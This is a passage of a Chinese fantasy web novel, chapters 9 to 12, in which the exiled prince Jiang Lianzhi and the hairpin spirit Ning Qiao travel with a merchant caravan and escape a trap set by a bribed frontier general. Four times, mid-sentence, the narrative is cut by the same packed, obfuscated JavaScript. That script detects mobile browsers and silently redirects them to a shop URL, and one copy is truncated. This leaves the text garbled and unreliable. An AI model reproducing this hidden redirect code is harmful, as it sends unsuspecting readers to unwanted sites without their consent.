眼看这群人已经围了上来,他在打架和溜走进城之间犹豫了一下,忽然看见一个守门的官兵看了过来——或许还有第三个选项。 然而那名官兵看了一眼就挪开了视线。 姜敛之了然,恐怕这种事情在城门口也不是第一次发生了。 他看了眼面前十几个衣不蔽体的乞儿,手从腰上一划一抖,一柄长剑便出现在了手中。 他挽了个剑花,见这些人虽然面有惊疑,但望向他的炽热眼神却没有多少退缩,反而盯上了他手里的长剑。 姜敛之“唰唰”几招过去,几人老实了。 他的武艺还算不上精通,但毕竟是由皇家的格斗师傅教过的,打几个吃不饱饭的乞儿不成问题。 几人发觉他有“真本事”,纷纷跪在地上求饶。 姜敛之摇了摇头,临走时仍是心软了几分,扔给他们一串铜子儿,便往城门去了。 守城的兵士眼都不抬:“路引。” 姜敛之拿出粗葛荷包的一份“路引”给守城的兵士。 后者见到上面的“钦州”“道士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125930|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”几个字,这才抬眼看了姜敛之一眼。 见到他手里的长剑,话一顿:“进城要十五个铜子儿。” 姜敛之数出铜子儿给他,便被顺利放行进了城。 那守城的兵士看了一出稀奇事儿,摸着下巴道:“钦州的小道士,嘿,来肃州做什么?”念叨着,他忽然想起来什么,问底下的小兵:“前几天县太爷说要注意几岁的男孩来着?” 下头小兵想了想:“好像是说九岁。” 守城的兵士指着刚进去的姜敛之,问:“你看这个是几岁?” 小兵道:“十来岁吧。” “嘿,奇了,还真有。去禀告县太爷,算了,我亲自去。你们派几个人,跟着点。” 这也是桩蹊跷事。前几日县太爷便让他们注意有没有一个九岁的男孩独自进城,有的话赶紧禀报。 他问是不是要抓起来,被县太爷瞪了一眼,说他们抓不了,盯着点,及时禀报就行。 嘿,“抓不了”,不是“不用抓”,既然要抓,偏偏又不张榜。 蹊跷。 姜敛之从城门口便感到身后多了点尾巴。 他随便找了个胡同的拐角,用了回“千跃术”,便往骡马市场去了。 进城之前他便想过,国师的耳目肯定不止玄都司的人,州府也可能会有。但玄都司成立时日尚短,只在云京附近人数众多,下边的州府绝大多数都是普通人,甩脱他们并不难。 不过这么快就被人盯上了,还是让姜敛之产生了一种如芒在背的危机感。 买完骡马就立即出城。 然而到了骡马市场,才发现这里更加萧条,市场里只有几匹老驴在卖,根本没见几匹骡马。 他逛了一圈,才知道北方边境战事一再吃紧,云家军还有县衙把能买的骡马都买走了,只剩下些老得走不动的。 有两个中年人蹲在一堆草料前聊天。 “听说无屺人已经打到隘口了,益州有好多逃难的,都往云京去了。” “也有到州府的,到咱们这的倒是不多,没办法,县太爷不让放他们进城。” “你说,无屺人真的能死而复生吗?” “那谁知道呢?反正是一直没打赢。” “年年打,年年征税,我都十个月都吃过肉了。” “嘿,你还算好些的,我家里都快断粮了。听说陛下招揽了国师,那可是位高人……” “高人有什么用,又不上前线。” “嘿,跟你没法聊。” “不聊就不聊。” 过一会儿,两人不知道谁起了个头,又聊起来,说些家长里短的事。 姜敛之没兴趣听了。 找了家成衣铺子,买了几身更不打眼的衣裳换了,又买了些干粮和糖果。 在成衣店里听说有家商队要北上,他声称自己师父死了,要去益州的一个道观投奔师伯,给他们看过路引,又花了十两银子,终于成功混进了商队里。 9. 路上(二) 宁乔在睡梦中也不甚安稳,一会儿冷一会儿热,冷的时候像是掉到了南极冰川,热的时候又像是进了火山岩浆。 她一连睡了整整十二个时辰,才终于摆脱了这种境况。 宁乔睁开眼睛,从榻上坐起来,盯着旁边一整面墙的书册发了会儿呆。 这灵毒的发作原来是以魂力的多少为界限的——魂力越多,灵毒的作用便越小,魂力越少,灵毒就更猛烈。 除此之外,灵毒自身也会逐渐扩散强盛,等扩散到了魂源,大概就不会疼了。 会直接死掉。 说起来,灵毒其实是非常少见的毒,能够直接作用到灵体魂魄之上而不伤及肉身,对付像她这样的簪灵再合适不过。 那国师的三把短剑上不至于天天涂着这种毒,应当是从玉闻声口中听过之后专门换上的。 对症下药,狠毒却也谨慎。 换做是她,肯定也不会留手。 她有这一墙的图书馆在手,找到解法倒是也不难,只不过现在并没有时间去寻解药。 罢了,再忍几天吧。 宁乔盯着这一整面墙的书架,再次思索起来:到底是谁留下的这些书?术法、医药、经史、轶闻……相当全面。 她拿轶闻当小说看,看完了再看术法,其他的只是随手翻了翻,但是照轶闻和术法的分类来看,其他部分必然也相当全面。 以前她只当是穿越的福利,用来打发时间。 现在同国师斗上,才明白这些书册的珍贵。 八十年前她便思索过这个问题,还拿历史那一栏对照过,想知道书籍主人大概生活的时间,可奇怪的是,历史那一栏里只到她醒来的时候,戛然而止,只到她醒来那年的年号。 她简直都要怀疑是自己失忆了,以前的事全不记得,她以为的穿越,实际上发生得更早,只是中间昏睡了一点时间而已。 这样实在是很解释得通,但更奇怪的是,有一门术法里提到的辅助药材,她找了将近十年都没找到,却在又十年后的某天得知,这种药材在不久前方才出现,是一种极为罕见的变种。 类似这样的事还有好几桩,将宁乔的猜测全都打乱了。 她起身,抚过那些书,明明触感如此真实,却全是虚体。 拿不出去,也带不进来。 连同这簪子里的一切,都是这样。 她本来觉得这方世界奇妙,谜团多一些也很正常,但是姜敛之的出现又将这个问题再次抛出了水面。 如果穿越的是一本小说世界,那这里的一切都是真实的吗? 宁乔又发了会儿呆,这才解除了簪子与外界的隔离,悄悄观察起外面的情况来。 她既然没事,姜敛之大概也不会有事,只是不知道他这会儿到哪里了。 出乎宁乔的意料,姜敛之竟和一群人待在一起——他坐在一辆马车前面,右手边还有个赶车的中年男人,马车里有个穿着打扮富贵的中年男子。 这辆马车在中间位置,前后还有不少马匹和人。 玉闻声和国师一个没见着,姜敛之看上去也不像被逮住的样子。 这是混到什么队伍里了? 正值中午,这队伍找了个地方停了下来,开始驾锅做饭。 宁乔给姜敛之传音:“在哪?” 姜敛之眼睛一亮,找了个借口离开了人群,在地上给宁乔比划道:在肃州宋家的商队,他们去北边卖茶叶和丝绸。 商队? 是了,这么多货物和护卫,可不就是商队吗? 宁乔赞了一声,随即问道:“什么时候溜?” 姜敛之却没回答这个问题,而是问道:你没事吧? 宁乔道:“没事,压制下去了,不影响赶路。” 姜敛之写道:疼要喊出来。 宁乔一怔,想起来这是前几日她同姜敛之说过的话,但她怎么好同一个小孩喊疼。假装咳嗽了一声,岔开了话题:“你的伤怎么样了?” 姜敛之道:没事,快好了。 宁乔道:“那你的喉咙怎么还说不出话来?” 见四处无人,宁乔从簪子里钻出来,探查了一下姜敛之的身体状况,外伤确实在好转,但经脉还是被大量的撕扯毁坏着,生气只可怜地占据着要害的几个地方。 她赶紧用了一次“回春术”,然后把法诀教给他。 “你现在经脉损毁,存不了法力,只能现捞现用,效果肯定大打折扣,多念几次,聊胜于无吧。我回去翻翻有没有什么更好用的法子。” 姜敛之脸色好看了不少,点了点头,眼睛仍是紧紧盯着宁乔,装满了担心。 宁乔又说了一次“没事”,看不怎么管用,忽然道:“糖呢,还有吗?” 姜敛之一口气掏出了十来种不同纸样包着的糖果,还有上次那两种口味的果糖,花花绿绿摆了一地。 宁乔目瞪口呆:“怎么买了这么多?” 也不用姜敛之给她介绍,兴致勃勃拆了几样,一样一个塞进了嘴里,还给姜敛之也塞了几颗。 见她吃得高兴,姜敛之也微微弯了弯眼睛。 姜敛之把宁乔递给他的糖收起来,在地上写道:你伤势不好,再待几日。 宁乔:“我哪里伤势不好了,今晚就溜吧,反正商队晚上肯定不赶路。” 姜敛之定定看她一会儿,在地上写:疼要…… 还没写完,宁乔便打断道:“那明天晚上走,夜长梦多,早跑早省心。” 这时忽然有人喊道:“小道士,吃饭了!” 宁乔“嗖”一声钻进了簪子,姜敛之收起地上的糖果,也从树后面走了出来。 中午的饭菜有馒头有菜,姜敛之拿了个馒头,放进了粗葛荷包里。 今天是焚香斋戒的第二天,早上他在商队出发前焚了香,今天还不能吃饭。 *** 跟着商队还是很省心的,虽然走得是慢了些,但姜敛之省了腿,宁乔省了魂力,皆大欢喜。 商队的主家,也就是宋家大爷,面色和蔼地对姜敛之道:“风餐露宿,实在是辛苦,小道长还习惯吗?” 姜敛之点了点头,目露感激之情,他拿出一张叠了又叠的粗竹纸,故意歪歪扭扭地写道:自己走更辛苦。谢谢宋老爷。 朴素但诚挚的话让宋家大爷不禁发出了愉快的笑声,他走南闯北这么多年,自认看人的眼光还是有几分的,一个人是真心还是假意更不必说。 他感受到了姜敛之话里的诚意,看他的目光更温和几分。 带上这个哑巴小道士也是他动了恻隐之心,对方知道感恩更让他觉得善意没有被辜负,下午时便让姜敛之进了马车,烦闷时便找他问一些钦州的奇闻逸事,一路上马车里经常传出笑声。 主家开心,商队里的气氛就少几分凝重。 晚上商队休息,姜敛之看着满天的星星,有点想问问宁乔怎么样了,但宁乔能够给他传音,他却没法跟宁乔说话。 盘算着到肃州边界的距离,到益州长明关的距离,想着近日来发生的一桩桩事情,竟觉得从前读书玩耍的时光恍如隔世。 其实也不过几日而已。 母妃留给他的信还没看。 他有些胆怯,又觉得实在珍惜,是母妃在世上留给他的最后一段话。 局势变化之快,恐怕连母妃都没有料到。 母妃,天上的哪一颗星星是你呢? 姜敛之眼里含了泪,却没有一丁点儿哭泣的声音。直到半夜,姜敛之才终于睡着。 *** 第二天一早,宁乔便趁着人少,给姜敛之施展了一次“回春术”,随后便钻进簪子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125931|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,传音告诉他另一段口诀。 “这本功法叫《星引诀》,能够引天上星辰之力转化为大量生机之力,一百零八颗星辰对应体内一百零八处穴道,正好对应你现在的身体状况。” “你一颗一颗练,练完刚好将身体经脉修复完,到时候将修炼出的生机一步步压制《湮灭术》带来的毁灭之力,保管一点后遗症都没有。” “不过这本功法我从来没练过,修炼难度未知,你今天晚上试试,若是修习不了,我再给你找另一本。” 姜敛之点了点头,默默记住《星引诀》的口诀。 随后他从粗葛荷包里拿出三柱香,对着空处拜过。 今天便是焚香斋戒的第三天了。 宁乔道:“今晚溜走之后,我们便去找月川。哦对了,我昨天翻书,意外发现一个监测法阵,若是方圆十里有传送的痕迹,法阵便会示警。你找找商队里有没有铃铛之类的东西,我将法阵绘制到铃铛上。” 姜敛之应下,吃完饭便找商队的管事护卫问了一圈,都没有铃铛。 他想了想,上午从商队里溜出来一会儿,问宁乔:玉佩可不可以,示警时玉佩飞起来或者发烫? 宁乔“欸”了一声:“是个好主意,我怎么没想到呢?飞起来太扎眼了,发烫可以。你有没有常戴的项链手链之类?” 姜敛之以前是有宫人给他戴些玉佩什么的,他自己却没有这样的习惯。既然玉佩不行,他想了想,从母亲给的粗葛荷包里翻出一根串着玉珠的项链,只留下一颗玉珠,其他的都拆下来,交给了宁乔。 宁乔飞快绘了一道法阵,光芒一闪,法阵既成。 姜敛之戴上项链,将玉珠藏到了衣服里面。 他赶上商队,在里面安然又待过一日。 到了晚上,众人都欲睡下,他借口更衣,从里面溜了出来。 宁乔连续施展了两次“千跃”,到了一处村庄外面。 村里黑漆漆的,也没有狗叫声,极其安静。 宁乔没作他想,倒是姜敛之若有所思地多看了这村庄几眼。 他们找了个湖泊旁边的僻静地儿,仰头看向月亮。 今晚是本月上弦月的最后一天,时间对得上,但夜色安静朦胧,全然没有任何异相。 宁乔也摸不透规律,想了想,道:“拿出香再点三柱。” 姜敛之照做了,仍是没有任何变化。 他看向宁乔,写道:上次还有做过什么吗? 宁乔摩挲着下巴,道:“上次还喝了点酒。” 姜敛之又定定望过来,宁乔辩解道:“不是喝醉了,真的有条河……” 月光凝成的河,漂浮在半空中,虚幻又美丽,绝不是人类能想象出来的。 但是一直等到后半夜,也完全没有任何异象。 今天是本月最标准的上弦月的晚上了,错过今晚,便是一整月。他们就只能赶路去肃州边界抑或是益州长明关了。 然而月川始终没有出现。 天色渐渐明亮起来。 今夜大约就是令人失望的一夜了。 宁乔略有些沮丧。 但寻找月川本来就是虚无缥缈的事,上次也不过匆匆一面,这次见不到,也实属正常。 姜敛之在一旁没有干等着,而是趁着星光正亮,修习《星引诀》。一夜功夫,宁乔就瞥见他身上光芒明明灭灭了好几次。 大约点亮了好几颗星。 这样的修炼天赋,实在令她这个灵都感到嫉妒。 月亮渐渐隐退在天光中了,宁乔回到簪子里翻书,继续寻找找关于月川的记载。 之前她多在轶闻里面翻,这次开始翻历史。 好不容易在千言万语里找到一处关于月川的记载,上面却写着这样一句奇怪的话:“进入月川者,方可入月川。” 10. 嶙峋(一) 奇怪,已经进了月川,怎么还需要“可入”呢? 这到底是进去了还是没进去? 进入月川的人,才能进入月川。 难道是说以前进入过月川的人,之后才能进入月川吗? 嗯? 先有蛋还是先有鸡? 如果是以前进入过月川的人,之后才会进入月川,那他第一次是怎么进去的? 宁乔百思不得其解,索性集思广益,拿出来问姜敛之。 姜敛之想了想,也没有思路。 总该有第一次才是。 他在地上写道:或许月川里本来就有一些人,从里面出来的人才能再进去。 宁乔道:“好像有些道理。” 但随即她又摇了摇头:“如果是这样的话,为什么不说‘出月川者方可进入’,抑或是‘月川人方可入’呢?” 不过随着天光大亮,这一次的上弦月相消失,寻找月川不得不划句号。 周围没人,宁乔钻出簪子伸了个懒腰。 “什么时辰了?” 姜敛之:午时了。 宁乔:“吃点东西吧,你饿了三天了。” 姜敛之:吃过了。 早上太阳升起,他便知道寻找月川已经无望,便拿出干粮填了填肚子。 宁乔看他的脸色:“看来《星引诀》还是有些效果的。”他的脸上终于有了点血色。 但保险起见,宁乔还是给姜敛之用了一次“回春术”,然后带着他又一次“千跃”。 越往北走,周围的景况便越萧条些,这次就连宁乔都发现了。 “人少了很多。” 距离肃州边界还有不到一千里,最快的方式便是“千跃”,宁乔便钻进簪子开始白天睡觉。 对她而言,睡觉是修补魂力最快的方式。 人类增长法力的功法对她而言通通不管用——她没有奇经八脉,自然没法走周转灵气的方式。 曾经她试过修炼强健神魂的法诀,但她实际上是混沌一团的灵体,虽然有形似人类的外貌,但她没有识海,也行不通。 只能睡觉,只好睡觉。 所幸睡觉对宁乔而言并不算难捱。 姜敛之身上有监测传送的法阵,她心里多少放心些。 再三叮嘱过姜敛之遇到危险要喊她,宁乔便进入了梦乡。 但凡醒来便用“千跃”,几天下来,“千跃术”的水平竟有了些长进,渐渐能遁到一百五十里了。 “千跃”“千跃”,正常状态下,一次千里也是可以的,但宁乔仍旧受限于灵体状态,以魂力运行术法,效果本就有些折扣,何况她也没什么练习的机会,本就没修到家。 这次“千跃术”有所长进,实在是意料之外的惊喜了。 姜敛之的修习速度便只能用夸张来形容了。 他白日里一边赶路,一边不停地用“回春术”,晚上就练《星引诀》,中间夹杂几次“千跃术”,一日里几乎只有一两个时辰用来睡觉。 他的“千跃术”用得同样熟练起来,最远的一次已经能遁走十里,不过用空了法力带来的后果便是经脉的撕裂,差点连心脏处的生气都不够了。 短短几日下来,姜敛之便又瘦了一大截,衣裳都显得有些空荡。 气质也更沉稳了些,更似少年而非孩童了。 这样连日赶路,姜敛之盘算着离肃州的边界仅有三百余里了,既有些振奋,又有些沉默。 宁乔体会不到姜敛之地曲折心思,她只是觉得一路上有些过于太平了。 “国师和玉闻声,怎么一个也没追上来?难道他们放弃杀你了?” 宁乔不相信国师布局了这么久,在最后关头却会大方地放过姜敛之。 不是布好了陷阱等着他们,就是姜敛之的威胁已除,他活着还是死了对局势没有影响了。换句话说,云将军已经被杀,姜敛之身后的政治力量完全土崩瓦解,再也不是对手了。 “到肃州边界的最后一段路,还是警惕些。” 为了避免用“千跃术”一脚踏进国师的陷阱里,他们几乎是遁十里走五里,主打一个随心所欲,没有规律。 同时,宁乔还教给了姜敛之一个很好用的辅助术法——“隐身术”。 这个术法分了三阶,一阶在灵感强些的妖类或修者眼中破绽百出,但是对付一般人是足够的。 修到二阶便能瞒过大多数妖类和修者的灵觉,到三阶便是如同草木花石,连阵法都识别不出了。 姜敛之很快便学会了一阶隐身术,“千跃”之后便接上“隐身”,堪称来无影去无踪。 这样又一日,肃州边界处的塔楼和城墙便出现在了眼前。 这道军事防御工事已经存在了几十年,自从大攸国建立以来便修筑了这道城墙,避免将来敌人的铁骑一马平川——往南一千多里辽阔的平原根本无险可据,原本大攸国就是这么挥军南下的,等它成了这片土地的主人,自然不希望后来人走自己的老路。 再向北八百里,益州地界上才有山岭荒漠,云家军的前线也在那里。 所以在肃州边界处的驻防就显得尤为重要。 宁乔与姜敛之提醒过,陛下敢杀云贵妃,恐怕便是起了心思要对付云将军。如果他们来得及,在肃州边界说不定能等到被诏令回京的云将军。 眼下,肃州边界已至,城墙上竖着的还是云家军的旗帜,宁乔和姜敛之都松了一口气。 “等会儿你用隐身术先潜进去,看看情况再说。” 姜敛之点头。 肃州边界巡防严密,军容严肃,姜敛之不知道这里驻守的是哪位将军。 《星引诀》已经点亮了不少,但不知为何他还是说不出话,为此,他提前写好了一封信,将来龙去脉都写了下来。他身上没有足够证明身份的信物,母妃的遗物也只有云家人能认得出。 若是那将军恰好认识他,便能省去不少麻烦。 按理说这里应当都是云家军一脉的人,但朝堂动荡,他还是有些吃不准。 谨慎起见,不如先看看究竟是谁当家。 趁着换防,姜敛之隐身悄悄潜进了军营,宁乔在簪子里屏住呼吸,悄然打探着外面的情况。 “往前五十米处有一队人。” “等会儿,右边拐角处有人来了。” 兵士往往比普通人的灵觉更强些,两人不想节外生枝,尽量避开了巡查的士兵,顺利潜进了中军大帐。 一见到坐在桌案后面推演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125932|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地图的将军,姜敛之呼吸便错了一点。 宁乔察觉到姜敛之的情绪波动,提醒道:“他发现了!” 同一时间,那名大将便虎目赫赫地瞪向了姜敛之所在的方位:“谁?!” 姜敛之深呼吸一口气,便解除了隐身术,愣愣望了过去。 那大将乍一下见到果真有人出现,很有些惊讶,他上下打量了这瘦弱的少年一番,忽然露出了不可置信的复杂神情:“六殿下!” 说着便大步跨过来,抱住了姜敛之。 此时门外的近卫听到动静也闯了进来,被将军一瞪:“出去。” 近卫讪讪退下,又被喊住:“去找些衣裳,再备上酒席,去吧。” 近卫领命退下。 这时候姜敛之才指了指自己的喉咙,用口型叫了一声:“花叔叔。” 原来这位大将不是别人,正是以前教过姜敛之骑射的龙韬将军花木措。 宁乔在簪子里打量着这位将军,他的年纪约莫四十岁上下,虎背熊腰,威严赫赫,身上自有一股战场磨炼出的霸气。 花将军将姜敛之放开,喟叹道:“六殿下受苦了啊。”随后又问道:“送你来的禁军将军呢?你是怎么偷偷跑进我的中军大帐的?” 姜敛之要来纸笔,写道:我自己来的。 花木措这才惊讶至极:“出了什么事?” 姜敛之便把写好的信拿出来交给了花木措,后者看完之后拍案大呼:“真是岂有此理!边关竟然没有收到一丝消息!” 他忽然想到什么,“腾”地一声站起身,道:“坏了!元帅今日清晨已经赶往京都了!来人!快派人去追元帅!” “算算时间,元帅走了也不过三个时辰,还来得及!” 姜敛之急忙写道:我去追。 他有遁术,能更快些。 花木措却眉头一竖:“我派军中最快的马去追,六殿下一个小娃娃添什么乱?”说着,看到姜敛之清凌凌的眸子定定望着他,他语气又软下来:“六殿下放心,你这样瘦弱,肯定是好几天都没好好吃饭了,先吃饭,先吃饭再说。” 正值午时,军营里也到了饭点。 没多久,一套绸缎衣裳和一桌上好的席面便被送了过来。 花木措道:“先吃饭再换衣裳。” 姜敛之担忧地望向帐外,吃得很是心神不宁。 花木措亦是思虑重重的样子,喝了不少酒,到后面都劝姜敛之也喝酒了。 他问姜敛之千里迢迢,一路是怎么自己过来的,一面夸姜敛之有胆识有智谋,一面非要拽着姜敛之往桌案前走,非要他写一下经过。 “六殿下,恕末将直言了,俗话说,兵马未动,粮草先行,六殿下既是被迷晕送出城,肯定没什么准备,后面这么远的路程,是怎么解决吃穿用度的?” 姜敛之心里一股极其微妙的情绪升腾而起,他顿了一下,没有将粗葛荷包拿出来,而是指了指身上的粗糙衣裳。 “殿下把衣服当了?也是也是。” 他叹道:“殿下真是吃了大苦头了。殿下,如你信中所说,是被高人所救,那位高人还在吗?末将一定得好好感谢他救了殿下性命才行!” 姜敛之心中那股违和的劲儿更明显了。 11. 嶙峋(二) 宁乔忽然道:“他老是看地图上的旗子干嘛?” 在她的注意中,这位花将军自从把姜敛之拉到桌案前写事情经过,已是第三次看向前面沙盘的地形图了。 姜敛之神色一动,他看了一眼醉醺醺的花木措,片刻后写道:我吃饱了,想换衣裳。 花木措笑道:“去去,去换吧,没事,就在这中军帐里换,让我看看我们六殿下长了多少腱子肉了?” 虽然言谈间仍显亲昵,但哪有让人在眼皮子底下换衣裳的——他分明是不想让姜敛之离开。 听到这话,宁乔当机立断:“情况不对,跑吧!” 姜敛之不着痕迹点了点头,也不反驳花木措的建议,走到一边拿起衣裳,作势要脱掉旧衣,然而下一刻便立即发动了隐身术和千跃术。 就在他隐身的一刹那,花木措被酒迷蒙的眼睛骤然清醒起来,他立即拔下了沙盘上的一面旗子。 姜敛之的遁术在城墙处被拦了下来,一个眼熟的巨大的黑色牢笼凭空罩在了营地上方。 万绝阵! 这道万绝阵的范围之广,较前两种有过之而无不及。 这么大的范围,用大范围的术法根本就不现实,更遑论这里到处都是帐篷,物类也相当复杂,找阵眼亦是不可能了。 周围的士兵看到营地上方的巨大牢笼都相当震惊,高呼“敌袭”! 花木措从中军帐中出来,高喝道:“列队,不要慌乱,这是自家的法阵!” 姜敛之方才便知道花木措有问题,但听到他亲口承认仍不免感觉到了受伤。 受伤之上更有一丝茫然:为什么? 然而他动作却没有停下来,反而咬破手指,在万绝阵的结界上以鲜血画符。 他与宁乔早有警惕哪里会有陷阱,而对于玉闻声和国师两次都用上的万绝阵更是重视,早早就研究出了破解之法。 眼下画的符名为“五鬼符”,并不直接破坏万绝阵的结界,却能在上面开出一个洞,供人通行。 姜敛之与宁乔试过多次,这个方法可行! 隐身尚未解除,军营里也乱糟糟的,根本不会有人注意到角落里一个小小的血符。 姜敛之收掉最后一笔,光芒一亮,他立即用了“千跃”,一下便出现在了十里之外。 脖子上的玉珠隐隐发烫,这是他在使用遁术的缘故。 等他一停下来,玉珠便没有动静了。 顺利逃了出来,姜敛之松了一口气,没想到国师竟然放了这样一个陷阱,收买花木措,在他的必经之路上撒好网,等着他往里跳。 如果不是他们这边早有警惕,且术法层出不穷,今日只是破掉万绝阵恐怕都要付出巨大的代价。 为了保险起见,他们之前早有预案,如果肃州边界处真是个陷阱,他们应该往哪里逃——往益州,还是往回跑? 他们最后决定,还是往回跑。 进去之前,他们便在附近一处林子里布下了各种阵法——不见得只有敌人能布置陷阱,他们只能挨打吧。 于是干脆也布置了一处地方,无事发生最好,一旦有事,这里便是反击敌人的最佳手段。 回到这里之后,姜敛之的心微微安定下来。 宁乔从簪中出来,打量了一下姜敛之的神情。他一开始见到那名将军时的情绪波动不可谓不大,突遭背叛,换了谁都会有些伤心的。 “你还好吗?” 姜敛之确实有些怔然,他摇了摇头,示意自己无事。 宁乔见他确实没有很沮丧,也稍稍放下心来:“他们必然会发现万绝阵失效的,你身上有隐踪香的味道,躲是躲不掉的,后面肯定有场恶战。” 这都是之前便预料过的情况,不算脱离掌控:“我瞧那旗子有些古怪,不知道国师还有什么阴招,到时候我们就……” 宁乔这样那样地将这里的阵法和等会儿的套路重述了一遍,有些紧张,还有些兴奋。 姜敛之看出来了,从粗葛荷包里拿了几包糖出来。 一人一颗地分完,两人都镇定了不少。 他还是有些在意:外祖父真的已经去京城了吗? 宁乔道:“花木措嘴里不知道有几分真话,诳你的可能性很大。但是我在想,既然驻守在肃州边界这样的防线上,他应当也是云家军的重要将领吧,为什么会投向国师呢?” 看花木措神智反应如常,不像是被傀儡术控制了的样子。 若说是因为云贵妃和姜敛之的死讯传来,大局已定,下一任王上必然是从其他王储里诞生,他没必要再站到云家的政治立场上的话,那姜敛之的出现自然可以打破这样的传言,他究竟是为什么才会彻底倒向国师的呢? 宁乔看向姜敛之,试图确定另一种可能性:“花木措受到云将军几分信任?” 姜敛之究竟年纪尚小,对这些事情实在所知不多,他只是同花木措有几分相处过的情谊,政治立场只有个大概的印象,哪能知道外祖父究竟有几分信任花木措呢? 何况人心复杂,即使十分信任,也有可能一朝背叛,也是人之常情。 但宁乔的言下之意他却是瞬间就明白过来:如果云将军对花木措极为信任,那今日之阵,是不是云将军授意的呢? 这实在是个再荒谬不过的推测,然而他的生活一夕剧变,放在以前,不也是相当荒谬的事吗? 除了仅有的血缘联系,他其实没有任何能驳倒这个猜测的证据。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125933|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而血缘,他与云京高堂云巅之上的那位,又何尝不是血缘关系呢? 如果说花木措的倒戈只令他感到了一丝茫然,现在这个推测则是让他觉得天地之大,却无容身之处的巨大的茫然。 他强撑着回了一句:“不会的。” 声音沙哑,但确实是他口中发出的声音。 宁乔有些惊喜,但见姜敛之脸色苍白,再听到他的回答,忽然明白过来:“你想到哪里去了,我不是说云将军会出卖你,我是说,如果云将军极为信任花木措,那他此时还安全吗?” 花木措的叛变很有可能是因为,云家所有话事人的死亡。 她仔细回忆了一下,小说里其实并没有提到云将军究竟是怎么死的,而是仅仅作为姜敛之成长为反派的背景介绍。 这也是为什么宁乔觉得云将军尚有被救的可能性。 别看现在这些万绝阵之类的术法范围巨大,许多术法威力不俗,但是真正面对千军万马,亦是蚁多咬死象,抵不了多久。 不然齐松鹤那老头就不会费尽心机搞阴谋、当国师了,早就自己打天下当皇帝了。 然而宁乔这个推测说出口,姜敛之的脸色却没有好转多少——这对他来说是另一个难以承受的可能性。 他声音低哑,却一字一句坚定道:“无论如何,我要找到外祖父。” 活要见人,死要见尸。 宁乔很理解他的心情,但怎么找又是一个问题了,宁乔刚打算同姜敛之商量一下,便感到地面似乎有些震动之声。 姜敛之亦是神色一凝,道:“玉珠发烫了。” 很快,马蹄声越发清晰,地面的震颤感也越发明显。 花木措身披甲胄,一马当先在队伍的最前面,他身后密密麻麻带了千骑黑色甲胄的士兵,肃穆地陈列在花木措身后。 只见花木措摆了摆手,身后的黑甲胄骑士便将周遭的林子劈砍开,露出一个更为空旷的场地来。 他脸色复杂地叹了口气:“六殿下不愧是元帅的外孙,机敏胆识样样不缺,不是花木措我想骗殿下,实在是君命难违,不得已而为之啊!” 说着,他拿出一封卷轴,往前递了一下:“六殿下不妨打开看看。” “这份诏令五日前便送到了,六殿下可知是谁送来的?” 见姜敛之不答,他自顾自解释道:“是国师命人送来的,陛下的印玺密令一样不缺,不过六殿下可以放心,陛下只让我将六殿下遣送回京,并不是要殿下性命。” 姜敛之将长剑抖了出来,问道:“我外祖父在哪里?” 花木措的表情更是复杂了,他足足有半晌没有出声,而是摆了摆手,便有兵士递上了一截染血的旗布。 12. 嶙峋(三) 姜敛之看到那截旗布,手指微颤,但他很快就镇定下来:“我不信你。” 花木措道:“十日前无屺人突然发动袭击,元帅中了圈套,已血染疆场,消息传来时我亦不信,但元帅尸体已送往京城,我身后这些将士都是亲眼所见。这截旗布便是当时握在元帅手中的碎片。” 场上一时静默。 片刻后,花木措劝说道:“你是元帅的外孙,元帅于我等有恩,我们绝不会伤你,只是王命难违,不得不送殿下回京。” 姜敛之仍不怎么相信。 但他心中犹疑,不知道外祖父情况究竟如何。 宁乔传音道:“把那截旗布要过来,有办法找到主人下落。” 姜敛之微不可察地点了下头,神色顿时转入惊疑悲伤之中。 花木措见说辞终于有了些效果,心中暗喜,继续循循善诱道:“六殿下连日来接连失去至亲,想必心中悲痛。元帅的遗体虽然已送往京城,但送葬队伍走得不快,六殿下这时候去,尚且能追得上。” 姜敛之声音低沉,道:“我想看看那截血布。” 